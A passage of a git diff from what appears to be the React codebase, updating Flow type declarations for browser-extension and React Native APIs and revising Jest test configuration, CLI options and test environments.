+  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/action/setIcon} */
+  setIcon(details: {
+    tabId: number,
+    path?: string | {[iconSize: string]: string},
+  }): void;
+  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/action/setPopup} */
+  setPopup(details: {tabId: number, popup: string}): void;
+}
+
+interface ExtensionDevtools {
+  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools/inspectedWindow} */
+  inspectedWindow: $FlowFixMe;
+  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools/network} */
+  network: $FlowFixMe;
+  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools/panels} */
+  panels: $FlowFixMe;
+}
+
+interface ExtensionEvent<Listener: Function> {
+  addListener(callback: Listener): void;
+  removeListener(callback: Listener): void;
+}
+
+/** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/Tab} */
+// TODO: Only covers used properties. Extend as needed.
+interface ExtensionTab {
+  id?: number;
+}
+
+/** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/MessageSender} */
+// TODO: Only covers used properties. Extend as needed.
+interface ExtensionRuntimeSender {
+  tab?: ExtensionTab;
+}
+
+/** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/Port} */
+// TODO: Only covers used properties. Extend as needed.
+interface ExtensionRuntimePort {
+  disconnect(): void;
+  name: string;
+  onMessage: ExtensionEvent<(message: any, port: ExtensionRuntimePort) => void>;
+  onDisconnect: ExtensionEvent<(port: ExtensionRuntimePort) => void>;
+  postMessage(message: mixed, transferable?: Array<mixed>): void;
+  sender?: ExtensionRuntimeSender;
+}
+
+interface ExtensionMessageSender {
+  id?: string;
+  url?: string;
+  tab?: {
+    id: number,
+    url: string,
+  };
+}
+
+interface ExtensionRuntime {
+  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/connect} */
+  connect(connectInfo?: {
+    name?: string,
+    includeTlsChannelId?: boolean,
+  }): ExtensionRuntimePort;
+  connect(
+    extensionId: string,
+    connectInfo?: {name?: string, includeTlsChannelId?: boolean},
+  ): ExtensionRuntimePort;
+  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/getURL} */
+  getURL(path: string): string;
+  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage} */
+  onMessage: ExtensionEvent<
+    (
+      message: any,
+      sender: ExtensionMessageSender,
+      sendResponse: (response: any) => void,
+    ) => any,
+  >;
+  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onConnect} */
+  onConnect: ExtensionEvent<(port: ExtensionRuntimePort) => void>;
+  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage} */
+  sendMessage(
+    message: any,
+    options?: {includeTlsChannelId?: boolean},
+  ): Promise<any>;
+  sendMessage(
+    extensionId: string,
+    message: any,
+    // We're making this required so that we don't accidentally call the wrong overload.
+    options: {includeTlsChannelId?: boolean},
+  ): Promise<any>;
+}
+
+interface ExtensionTabs {
+  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onActivated} */
+  onActivated: ExtensionEvent<
+    (activeInfo: {
+      previousTabId: number,
+      tabId: number,
+      windowId: number,
+    }) => void,
+  >;
+}
+
+interface ExtensionAPI {
+  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/action} */
+  action: ExtensionAction;
+  devtools: ExtensionDevtools;
+  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/permissions} */
+  permissions: $FlowFixMe;
+  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime} */
+  runtime: ExtensionRuntime;
+  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting} */
+  scripting: $FlowFixMe;
+  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage} */
+  storage: $FlowFixMe;
+  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs} */
+  tabs: ExtensionTabs;
+}
+
+declare const chrome: ExtensionAPI;
diff --git a/scripts/flow/react-native-host-hooks.js b/scripts/flow/react-native-host-hooks.js
index 9c86a8ffeb95..3e924f1c7f1b 100644
--- a/scripts/flow/react-native-host-hooks.js
+++ b/scripts/flow/react-native-host-hooks.js
@@ -7,16 +7,32 @@
  * @flow
  */
 
-/* eslint-disable */
-
 // libdefs cannot actually import. These are supposed to be the types imported
 // from 'react-native-renderer/src/ReactNativeTypes'
-type __MeasureOnSuccessCallback = any;
-type __MeasureInWindowOnSuccessCallback = any;
-type __MeasureLayoutOnSuccessCallback = any;
+type __MeasureOnSuccessCallback = (
+  x: number,
+  y: number,
+  width: number,
+  height: number,
+  pageX: number,
+  pageY: number,
+) => void;
+type __MeasureInWindowOnSuccessCallback = (
+  x: number,
+  y: number,
+  width: number,
+  height: number,
+) => void;
+type __MeasureLayoutOnSuccessCallback = (
+  left: number,
+  top: number,
+  width: number,
+  height: number,
+) => void;
 type __ReactNativeBaseComponentViewConfig = any;
 type __ViewConfigGetter = any;
 type __ViewConfig = any;
+type __AttributeConfiguration = any;
 
 // libdefs cannot actually import. This is supposed to be the type imported
 // from 'react-native-renderer/src/legacy-events/TopLevelEventTypes';
@@ -35,6 +51,10 @@ type RawEventEmitterEvent = $ReadOnly<{
   nativeEvent: {[string]: mixed, ...},
 }>;
 
+declare opaque type __PublicInstance;
+declare opaque type __PublicTextInstance;
+declare opaque type __PublicRootInstance;
+
 declare module 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface' {
   declare export function deepDiffer(
     one: any,
@@ -99,7 +119,7 @@ declare module 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface'
     setChildren: (containerTag: number, reactTags: Array<number>) => void,
     updateView: (reactTag: number, viewName: string, props: ?Object) => void,
     __takeSnapshot: (
-      view?: 'window' | Element<any> | number,
+      view?: 'window' | Element | number,
       options?: {
         width?: number,
         height?: number,
@@ -143,8 +163,26 @@ declare module 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface'
     emit: (channel: string, event: RawEventEmitterEvent) => string,
     ...
   };
-  declare export opaque type PublicInstance;
-  declare export opaque type PublicTextInstance;
+  declare export type PublicInstance = __PublicInstance;
+  declare export type PublicTextInstance = __PublicTextInstance;
+  declare export type PublicRootInstance = __PublicRootInstance;
+  declare export type MeasureOnSuccessCallback = __MeasureOnSuccessCallback;
+  declare export type MeasureInWindowOnSuccessCallback =
+    __MeasureInWindowOnSuccessCallback;
+  declare export type MeasureLayoutOnSuccessCallback =
+    __MeasureLayoutOnSuccessCallback;
+  declare export interface LegacyPublicInstance {
+    blur(): void;
+    focus(): void;
+    measure(callback: __MeasureOnSuccessCallback): void;
+    measureInWindow(callback: __MeasureInWindowOnSuccessCallback): void;
+    measureLayout(
+      relativeToNativeNode: number | LegacyPublicInstance,
+      onSuccess: __MeasureLayoutOnSuccessCallback,
+      onFail?: () => void,
+    ): void;
+    setNativeProps(nativeProps: {...}): void;
+  }
   declare export function getNodeFromPublicInstance(
     publicInstance: PublicInstance,
   ): Object;
@@ -155,22 +193,44 @@ declare module 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface'
     tag: number,
     viewConfig: __ViewConfig,
     internalInstanceHandle: mixed,
+    publicRootInstance: PublicRootInstance | null,
   ): PublicInstance;
+  declare export function createPublicRootInstance(
+    rootTag: number,
+  ): PublicRootInstance;
   declare export function createPublicTextInstance(
     internalInstanceHandle: mixed,
   ): PublicTextInstance;
   declare export function getInternalInstanceHandleFromPublicInstance(
     publicInstance: PublicInstance,
   ): ?Object;
+  declare export function createAttributePayload(
+    props: Object,
+    validAttributes: __AttributeConfiguration,
+  ): null | Object;
+  declare export function diffAttributePayloads(
+    prevProps: Object,
+    nextProps: Object,
+    validAttributes: __AttributeConfiguration,
+  ): null | Object;
 }
 
 declare module 'react-native/Libraries/ReactPrivate/ReactNativePrivateInitializeCore' {
 }
 
+declare module 'react-native' {
+  declare export type HostInstance = __PublicInstance;
+  declare export type PublicTextInstance = __PublicTextInstance;
+  declare export type PublicRootInstance = __PublicRootInstance;
+  declare export type MeasureOnSuccessCallback = __MeasureOnSuccessCallback;
+}
+
+// eslint-disable-next-line no-unused-vars
 declare const RN$enableMicrotasksInReact: boolean;
 
 // This is needed for a short term solution.
 // See https://github.com/facebook/react/pull/15490 for more info
+// eslint-disable-next-line no-unused-vars
 declare const nativeFabricUIManager: {
   createNode: (
     reactTag: number,
@@ -238,6 +298,17 @@ declare const nativeFabricUIManager: {
   ) => void,
   unstable_DefaultEventPriority: number,
   unstable_DiscreteEventPriority: number,
+  unstable_ContinuousEventPriority: number,
+  unstable_IdleEventPriority: number,
   unstable_getCurrentEventPriority: () => number,
+  applyViewTransitionName: (
+    node: Object,
+    name: string,
+    className: ?string,
+  ) => void,
+  startViewTransition: (mutationCallback: () => void) => {
+    finished: Promise<void>,
+    ready: Promise<void>,
+  },
   ...
 };
diff --git a/scripts/jest/ReactDOMServerIntegrationEnvironment.js b/scripts/jest/ReactDOMServerIntegrationEnvironment.js
index 1d92807ee8dd..5a0ab2f66538 100644
--- a/scripts/jest/ReactDOMServerIntegrationEnvironment.js
+++ b/scripts/jest/ReactDOMServerIntegrationEnvironment.js
@@ -1,6 +1,6 @@
 'use strict';
 
-const {TestEnvironment: JSDOMEnvironment} = require('jest-environment-jsdom');
+const ReactJSDOMEnvironment = require('./ReactJSDOMEnvironment');
 const {TestEnvironment: NodeEnvironment} = require('jest-environment-node');
 
 /**
@@ -10,7 +10,7 @@ class ReactDOMServerIntegrationEnvironment extends NodeEnvironment {
   constructor(config, context) {
     super(config, context);
 
-    this.domEnvironment = new JSDOMEnvironment(config, context);
+    this.domEnvironment = new ReactJSDOMEnvironment(config, context);
 
     this.global.window = this.domEnvironment.dom.window;
     this.global.document = this.global.window.document;
diff --git a/scripts/jest/ReactJSDOMEnvironment.js b/scripts/jest/ReactJSDOMEnvironment.js
new file mode 100644
index 000000000000..eb686d6f4be2
--- /dev/null
+++ b/scripts/jest/ReactJSDOMEnvironment.js
@@ -0,0 +1,19 @@
+'use strict';
+
+const {TestEnvironment: JSDOMEnvironment} = require('jest-environment-jsdom');
+const {
+  setupDocumentReadyState,
+} = require('internal-test-utils/ReactJSDOMUtils');
+
+/**
+ * Test environment for testing integration of react-dom (browser) with react-dom/server (node)
+ */
+class ReactJSDOMEnvironment extends JSDOMEnvironment {
+  constructor(config, context) {
+    super(config, context);
+
+    setupDocumentReadyState(this.global.document, this.global.Event);
+  }
+}
+
+module.exports = ReactJSDOMEnvironment;
diff --git a/scripts/jest/TestFlags.js b/scripts/jest/TestFlags.js
index 4e81149f2a25..e2d34cc516d5 100644
--- a/scripts/jest/TestFlags.js
+++ b/scripts/jest/TestFlags.js
@@ -66,8 +66,8 @@ function getTestFlags() {
       ? 'modern'
       : 'classic'
     : __EXPERIMENTAL__
-    ? 'experimental'
-    : 'stable';
+      ? 'experimental'
+      : 'stable';
 
   // Return a proxy so we can throw if you attempt to access a flag that
   // doesn't exist.
@@ -78,11 +78,17 @@ function getTestFlags() {
       classic: releaseChannel === 'classic',
       source: !process.env.IS_BUILD,
       www,
+      fb: www || xplat,
 
       // These aren't flags, just a useful aliases for tests.
-      enableActivity: releaseChannel === 'experimental' || www || xplat,
+      // TODO: Clean this up.
+      enableActivity: true,
       enableSuspenseList: releaseChannel === 'experimental' || www || xplat,
       enableLegacyHidden: www,
+      // TODO: Suspending the work loop during the render phase is currently
+      // not compatible with sibling prerendering. We will add this optimization
+      // back in a later step.
+      enableSuspendingDuringWorkLoop: false,
 
       // This flag is used to determine whether we should run Fizz tests using
       // the external runtime or the inline script runtime.
@@ -90,8 +96,8 @@ function getTestFlags() {
       shouldUseFizzExternalRuntime: !featureFlags.enableFizzExternalRuntime
         ? false
         : www
-        ? __VARIANT__
-        : __EXPERIMENTAL__,
+          ? __VARIANT__
+          : __EXPERIMENTAL__,
 
       // This is used by useSyncExternalStoresShared-test.js to decide whether
       // to test the shim or the native implementation of useSES.
diff --git a/scripts/jest/config.base.js b/scripts/jest/config.base.js
index a887e66b7dd3..12b5fc45cd4a 100644
--- a/scripts/jest/config.base.js
+++ b/scripts/jest/config.base.js
@@ -2,12 +2,24 @@
 
 module.exports = {
   globalSetup: require.resolve('./setupGlobal.js'),
+  testSequencer: require.resolve('./sizeBalancedSequencer.js'),
   modulePathIgnorePatterns: [
     '<rootDir>/scripts/rollup/shims/',
     '<rootDir>/scripts/bench/',
+    '<rootDir>/packages/eslint-plugin-react-hooks/',
   ],
   transform: {
-    '.*': require.resolve('./preprocessor.js'),
+    '^.+babel-plugin-react-compiler/dist/index.js$': [
+      'babel-jest',
+      {
+        configFile: require.resolve('../../babel.config-react-compiler.js'),
+      },
+    ],
+    '^.+\\.ts$': [
+      'babel-jest',
+      {configFile: require.resolve('../../babel.config-ts.js')},
+    ],
+    '.(?!ts$)': require.resolve('./preprocessor.js'),
   },
   prettierPath: require.resolve('prettier-2'),
   setupFiles: [require.resolve('./setupEnvironment.js')],
@@ -24,9 +36,7 @@ module.exports = {
   },
   snapshotSerializers: [require.resolve('jest-snapshot-serializer-raw')],
 
-  testSequencer: require.resolve('./jestSequencer'),
-
-  testEnvironment: 'jsdom',
+  testEnvironment: '<rootDir>/scripts/jest/ReactJSDOMEnvironment',
 
   testRunner: 'jest-circus/runner',
 };
diff --git a/scripts/jest/config.build-devtools.js b/scripts/jest/config.build-devtools.js
index e6de2e4a3213..3f03b50c3a82 100644
--- a/scripts/jest/config.build-devtools.js
+++ b/scripts/jest/config.build-devtools.js
@@ -44,9 +44,8 @@ packages.forEach(name => {
   // Root entry point
   moduleNameMapper[`^${name}$`] = `<rootDir>/build/${NODE_MODULES_DIR}/${name}`;
   // Named entry points
-  moduleNameMapper[
-    `^${name}\/([^\/]+)$`
-  ] = `<rootDir>/build/${NODE_MODULES_DIR}/${name}/$1`;
+  moduleNameMapper[`^${name}\/([^\/]+)$`] =
+    `<rootDir>/build/${NODE_MODULES_DIR}/${name}/$1`;
 });
 
 // Allow tests to import shared code (e.g. feature flags, getStackByFiberInDevAndProd)
@@ -64,7 +63,7 @@ module.exports = Object.assign({}, baseConfig, {
   testPathIgnorePatterns: ['/node_modules/', '-test.internal.js$'],
   // Exclude the build output from transforms
   transformIgnorePatterns: [
-    '/node_modules/',
+    '/node_modules/(?!(rbush|quickselect)/)',
     '<rootDir>/build/',
     '/__compiled__/',
     '/__untransformed__/',
diff --git a/scripts/jest/config.build.js b/scripts/jest/config.build.js
index 9b8d328a509e..d1bbeb5a8ddf 100644
--- a/scripts/jest/config.build.js
+++ b/scripts/jest/config.build.js
@@ -37,26 +37,22 @@ const moduleNameMapper = {};
 // Allow bundle tests to read (but not write!) default feature flags.
 // This lets us determine whether we're running in different modes
 // without making relevant tests internal-only.
-moduleNameMapper[
-  '^shared/ReactFeatureFlags'
-] = `<rootDir>/packages/shared/forks/ReactFeatureFlags.readonly`;
+moduleNameMapper['^shared/ReactFeatureFlags'] =
+  `<rootDir>/packages/shared/forks/ReactFeatureFlags.readonly`;
 
 // Map packages to bundles
 packages.forEach(name => {
   // Root entry point
   moduleNameMapper[`^${name}$`] = `<rootDir>/build/${NODE_MODULES_DIR}/${name}`;
   // Named entry points
-  moduleNameMapper[
-    `^${name}\/([^\/]+)$`
-  ] = `<rootDir>/build/${NODE_MODULES_DIR}/${name}/$1`;
+  moduleNameMapper[`^${name}\/([^\/]+)$`] =
+    `<rootDir>/build/${NODE_MODULES_DIR}/${name}/$1`;
 });
 
-moduleNameMapper[
-  'use-sync-external-store/shim/with-selector'
-] = `<rootDir>/build/${NODE_MODULES_DIR}/use-sync-external-store/shim/with-selector`;
-moduleNameMapper[
-  'use-sync-external-store/shim/index.native'
-] = `<rootDir>/build/${NODE_MODULES_DIR}/use-sync-external-store/shim/index.native`;
+moduleNameMapper['use-sync-external-store/shim/with-selector'] =
+  `<rootDir>/build/${NODE_MODULES_DIR}/use-sync-external-store/shim/with-selector`;
+moduleNameMapper['use-sync-external-store/shim/index.native'] =
+  `<rootDir>/build/${NODE_MODULES_DIR}/use-sync-external-store/shim/index.native`;
 
 module.exports = Object.assign({}, baseConfig, {
   // Redirect imports to the compiled bundles
diff --git a/scripts/jest/devtools/config.build-devtools-regression.js b/scripts/jest/devtools/config.build-devtools-regression.js
index 2b8b650173c1..bdebee846433 100644
--- a/scripts/jest/devtools/config.build-devtools-regression.js
+++ b/scripts/jest/devtools/config.build-devtools-regression.js
@@ -16,20 +16,17 @@ if (REACT_VERSION) {
   // React version 16.5 has a schedule package instead of a scheduler
   // package, so we need to rename them accordingly
   if (semver.satisfies(REACT_VERSION, '16.5')) {
-    moduleNameMapper[
-      `^schedule$`
-    ] = `<rootDir>/build/${NODE_MODULES_DIR}/schedule`;
-    moduleNameMapper[
-      '^schedule/tracing$'
-    ] = `<rootDir>/build/${NODE_MODULES_DIR}/schedule/tracing-profiling`;
+    moduleNameMapper[`^schedule$`] =
+      `<rootDir>/build/${NODE_MODULES_DIR}/schedule`;
+    moduleNameMapper['^schedule/tracing$'] =
+      `<rootDir>/build/${NODE_MODULES_DIR}/schedule/tracing-profiling`;
   }
 
   // react-dom/client is only in v18.0.0 and up, so we
   // map it to react-dom instead
   if (semver.satisfies(REACT_VERSION, '<18.0')) {
-    moduleNameMapper[
-      '^react-dom/client$'
-    ] = `<rootDir>/build/${NODE_MODULES_DIR}/react-dom`;
+    moduleNameMapper['^react-dom/client$'] =
+      `<rootDir>/build/${NODE_MODULES_DIR}/react-dom`;
   }
 
   setupFiles.push(require.resolve('./setupTests.build-devtools-regression'));
diff --git a/scripts/jest/devtools/setupEnv.js b/scripts/jest/devtools/setupEnv.js
index fd9be56c5c7f..a797c0951435 100644
--- a/scripts/jest/devtools/setupEnv.js
+++ b/scripts/jest/devtools/setupEnv.js
@@ -12,6 +12,9 @@ if (!global.hasOwnProperty('localStorage')) {
 global.__DEV__ = process.env.NODE_ENV !== 'production';
 global.__TEST__ = true;
 global.__IS_FIREFOX__ = false;
+global.__IS_CHROME__ = false;
+global.__IS_EDGE__ = false;
+global.__IS_NATIVE__ = false;
 
 const ReactVersionTestingAgainst = process.env.REACT_VERSION || ReactVersion;
 
@@ -29,7 +32,6 @@ global._test_react_version_focus = (range, testName, callback) => {
   const shouldPass = semver.satisfies(ReactVersionTestingAgainst, range);
 
   if (shouldPass) {
-    // eslint-disable-next-line jest/no-focused-tests
     test.only(testName, callback);
   } else {
     test.skip(testName, callback);
@@ -39,43 +41,3 @@ global._test_react_version_focus = (range, testName, callback) => {
 global._test_ignore_for_react_version = (testName, callback) => {
   test.skip(testName, callback);
 };
-
-// Most of our tests call jest.resetModules in a beforeEach and the
-// re-require all the React modules. However, the JSX runtime is injected by
-// the compiler, so those bindings don't get updated. This causes warnings
-// logged by the JSX runtime to not have a component stack, because component
-// stack relies on the the secret internals object that lives on the React
-// module, which because of the resetModules call is longer the same one.
-//
-// To workaround this issue, we use a proxy that re-requires the latest
-// JSX Runtime from the require cache on every function invocation.
-//
-// Longer term we should migrate all our tests away from using require() and
-// resetModules, and use import syntax instead so this kind of thing doesn't
-// happen.
-if (semver.gte(ReactVersionTestingAgainst, '17.0.0')) {
-  lazyRequireFunctionExports('react/jsx-dev-runtime');
-
-  // TODO: We shouldn't need to do this in the production runtime, but until
-  // we remove string refs they also depend on the shared state object. Remove
-  // once we remove string refs.
-  lazyRequireFunctionExports('react/jsx-runtime');
-}
-
-function lazyRequireFunctionExports(moduleName) {
-  jest.mock(moduleName, () => {
-    return new Proxy(jest.requireActual(moduleName), {
-      get(originalModule, prop) {
-        // If this export is a function, return a wrapper function that lazily
-        // requires the implementation from the current module cache.
-        if (typeof originalModule[prop] === 'function') {
-          return function () {
-            return jest.requireActual(moduleName)[prop].apply(this, arguments);
-          };
-        } else {
-          return originalModule[prop];
-        }
-      },
-    });
-  });
-}
diff --git a/scripts/jest/jest-cli.js b/scripts/jest/jest-cli.js
index 9c3be220fb64..c53f5bda5e5a 100644
--- a/scripts/jest/jest-cli.js
+++ b/scripts/jest/jest-cli.js
@@ -112,6 +112,13 @@ const argv = yargs
       type: 'boolean',
       default: false,
     },
+    silent: {
+      alias: 's',
+      describe: 'Use silent reporter with dot progress (minimal output).',
+      requiresArg: false,
+      type: 'boolean',
+      default: false,
+    },
   }).argv;
 
 function logError(message) {
@@ -308,9 +315,14 @@ function getCommandArgs() {
     args.push('--useStderr');
   }
 
-  // CI Environments have limited workers.
-  if (argv.ci) {
-    args.push('--maxWorkers=2');
+  if (argv.ci === true) {
+    args.push('--maxConcurrency=10');
+  }
+
+  // Use silent reporter if requested.
+  if (argv.silent) {
+    args.push('--reporters=jest-silent-reporter');
+    args.push('--testLocationInResults');
   }
 
   // Push the remaining args onto the command.
@@ -354,6 +366,12 @@ function getEnvars() {
     envars.JEST_ENABLE_SOURCE_MAPS = 'inline';
   }
 
+  if (argv.silent) {
+    // Enable dot output for jest-silent-reporter so that long test runs
+    // show progress and don't appear to be hung.
+    envars.JEST_SILENT_REPORTER_DOTS = true;
+  }
+
   return envars;
 }
 
@@ -364,16 +382,18 @@ function main() {
   const envars = getEnvars();
   const env = Object.entries(envars).map(([k, v]) => `${k}=${v}`);
 
-  // Print the full command we're actually running.
-  const command = `$ ${env.join(' ')} node ${args.join(' ')}`;
-  console.log(chalk.dim(command));
+  if (argv.ci !== true) {
+    // Print the full command we're actually running.
+    const command = `$ ${env.join(' ')} node ${args.join(' ')}`;
+    console.log(chalk.dim(command));
 
-  // Print the release channel and project we're running for quick confirmation.
-  console.log(
-    chalk.blue(
-      `\nRunning tests for ${argv.project} (${argv.releaseChannel})...`
-    )
-  );
+    // Print the release channel and project we're running for quick confirmation.
+    console.log(
+      chalk.blue(
+        `\nRunning tests for ${argv.project} (${argv.releaseChannel})...`
+      )
+    );
+  }
 
   // Print a message that the debugger is starting just
   // for some extra feedback when running the debugger.
diff --git a/scripts/jest/jestSequencer.js b/scripts/jest/jestSequencer.js
deleted file mode 100644
index b21cbbfc0ccb..000000000000
--- a/scripts/jest/jestSequencer.js
+++ /dev/null
@@ -1,19 +0,0 @@
-'use strict';
-
-const Sequencer = require('@jest/test-sequencer').default;
-
-class CustomSequencer extends Sequencer {
-  sort(tests) {
-    if (process.env.CIRCLE_NODE_TOTAL) {
-      // In CI, parallelize tests across multiple tasks.
-      const nodeTotal = parseInt(process.env.CIRCLE_NODE_TOTAL, 10);
-      const nodeIndex = parseInt(process.env.CIRCLE_NODE_INDEX, 10);
-      tests = tests
-        .sort((a, b) => (a.path < b.path ? -1 : 1))
-        .filter((_, i) => i % nodeTotal === nodeIndex);
-    }
-    return tests;
-  }
-}
-
-module.exports = CustomSequencer;
diff --git a/scripts/jest/matchers/__tests__/toWarnDev-test.js b/scripts/jest/matchers/__tests__/toWarnDev-test.js
deleted file mode 100644
index 90b78d2cd472..000000000000
--- a/scripts/jest/matchers/__tests__/toWarnDev-test.js
+++ /dev/null
@@ -1,435 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @emails react-core
- */
-
-'use strict';
-
-describe('toErrorDev', () => {
-  it('does not fail if a warning contains a stack', () => {
-    expect(() => {
-      if (__DEV__) {
-        console.error('Hello\n    in div');
-      }
-    }).toErrorDev('Hello');
-  });
-
-  it('does not fail if all warnings contain a stack', () => {
-    expect(() => {
-      if (__DEV__) {
-        console.error('Hello\n    in div');
-        console.error('Good day\n    in div');
-        console.error('Bye\n    in div');
-      }
-    }).toErrorDev(['Hello', 'Good day', 'Bye']);
-  });
-
-  it('does not fail if warnings without stack explicitly opt out', () => {
-    expect(() => {
-      if (__DEV__) {
-        console.error('Hello');
-      }
-    }).toErrorDev('Hello', {withoutStack: true});
-    expect(() => {
-      if (__DEV__) {
-        console.error('Hello');
-        console.error('Good day');
-        console.error('Bye');
-      }
-    }).toErrorDev(['Hello', 'Good day', 'Bye'], {withoutStack: true});
-  });
-
-  it('does not fail when expected stack-less warning number matches the actual one', () => {
-    expect(() => {
-      if (__DEV__) {
-        console.error('Hello\n    in div');
-        console.error('Good day');
-        console.error('Bye\n    in div');
-      }
-    }).toErrorDev(['Hello', 'Good day', 'Bye'], {withoutStack: 1});
-  });
-
-  if (__DEV__) {
-    // Helper methods avoids invalid toWarn().toThrow() nesting
-    // See no-to-warn-dev-within-to-throw
-    const expectToWarnAndToThrow = (expectBlock, expectedErrorMessage) => {
-      let caughtError;
-      try {
-        expectBlock();
-      } catch (error) {
-        caughtError = error;
-      }
-      expect(caughtError).toBeDefined();
-      expect(caughtError.message).toContain(expectedErrorMessage);
-    };
-
-    it('fails if a warning does not contain a stack', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hello');
-        }).toErrorDev('Hello');
-      }, 'Received warning unexpectedly does not include a component stack');
-    });
-
-    it('fails if some warnings do not contain a stack', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hello\n    in div');
-          console.error('Good day\n    in div');
-          console.error('Bye');
-        }).toErrorDev(['Hello', 'Good day', 'Bye']);
-      }, 'Received warning unexpectedly does not include a component stack');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hello');
-          console.error('Good day\n    in div');
-          console.error('Bye\n    in div');
-        }).toErrorDev(['Hello', 'Good day', 'Bye']);
-      }, 'Received warning unexpectedly does not include a component stack');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hello\n    in div');
-          console.error('Good day');
-          console.error('Bye\n    in div');
-        }).toErrorDev(['Hello', 'Good day', 'Bye']);
-      }, 'Received warning unexpectedly does not include a component stack');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hello');
-          console.error('Good day');
-          console.error('Bye');
-        }).toErrorDev(['Hello', 'Good day', 'Bye']);
-      }, 'Received warning unexpectedly does not include a component stack');
-    });
-
-    it('fails if warning is expected to not have a stack, but does', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hello\n    in div');
-        }).toErrorDev('Hello', {withoutStack: true});
-      }, 'Received warning unexpectedly includes a component stack');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hello\n    in div');
-          console.error('Good day');
-          console.error('Bye\n    in div');
-        }).toErrorDev(['Hello', 'Good day', 'Bye'], {withoutStack: true});
-      }, 'Received warning unexpectedly includes a component stack');
-    });
-
-    it('fails if expected stack-less warning number does not match the actual one', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hello\n    in div');
-          console.error('Good day');
-          console.error('Bye\n    in div');
-        }).toErrorDev(['Hello', 'Good day', 'Bye'], {withoutStack: 4});
-      }, 'Expected 4 warnings without a component stack but received 1');
-    });
-
-    it('fails if withoutStack is invalid', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hi');
-        }).toErrorDev('Hi', {withoutStack: null});
-      }, 'Instead received object');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hi');
-        }).toErrorDev('Hi', {withoutStack: {}});
-      }, 'Instead received object');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hi');
-        }).toErrorDev('Hi', {withoutStack: 'haha'});
-      }, 'Instead received string');
-    });
-
-    it('fails if the argument number does not match', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hi %s', 'Sara', 'extra');
-        }).toErrorDev('Hi', {withoutStack: true});
-      }, 'Received 2 arguments for a message with 1 placeholders');
-
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hi %s');
-        }).toErrorDev('Hi', {withoutStack: true});
-      }, 'Received 0 arguments for a message with 1 placeholders');
-    });
-
-    it('fails if stack is passed twice', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hi %s%s', '\n    in div', '\n    in div');
-        }).toErrorDev('Hi');
-      }, 'Received more than one component stack for a warning');
-    });
-
-    it('fails if multiple strings are passed without an array wrapper', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hi \n    in div');
-        }).toErrorDev('Hi', 'Bye');
-      }, 'toErrorDev() second argument, when present, should be an object');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hi \n    in div');
-          console.error('Bye \n    in div');
-        }).toErrorDev('Hi', 'Bye');
-      }, 'toErrorDev() second argument, when present, should be an object');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hi \n    in div');
-          console.error('Wow \n    in div');
-          console.error('Bye \n    in div');
-        }).toErrorDev('Hi', 'Bye');
-      }, 'toErrorDev() second argument, when present, should be an object');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hi \n    in div');
-          console.error('Wow \n    in div');
-          console.error('Bye \n    in div');
-        }).toErrorDev('Hi', 'Wow', 'Bye');
-      }, 'toErrorDev() second argument, when present, should be an object');
-    });
-
-    it('fails on more than two arguments', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.error('Hi \n    in div');
-          console.error('Wow \n    in div');
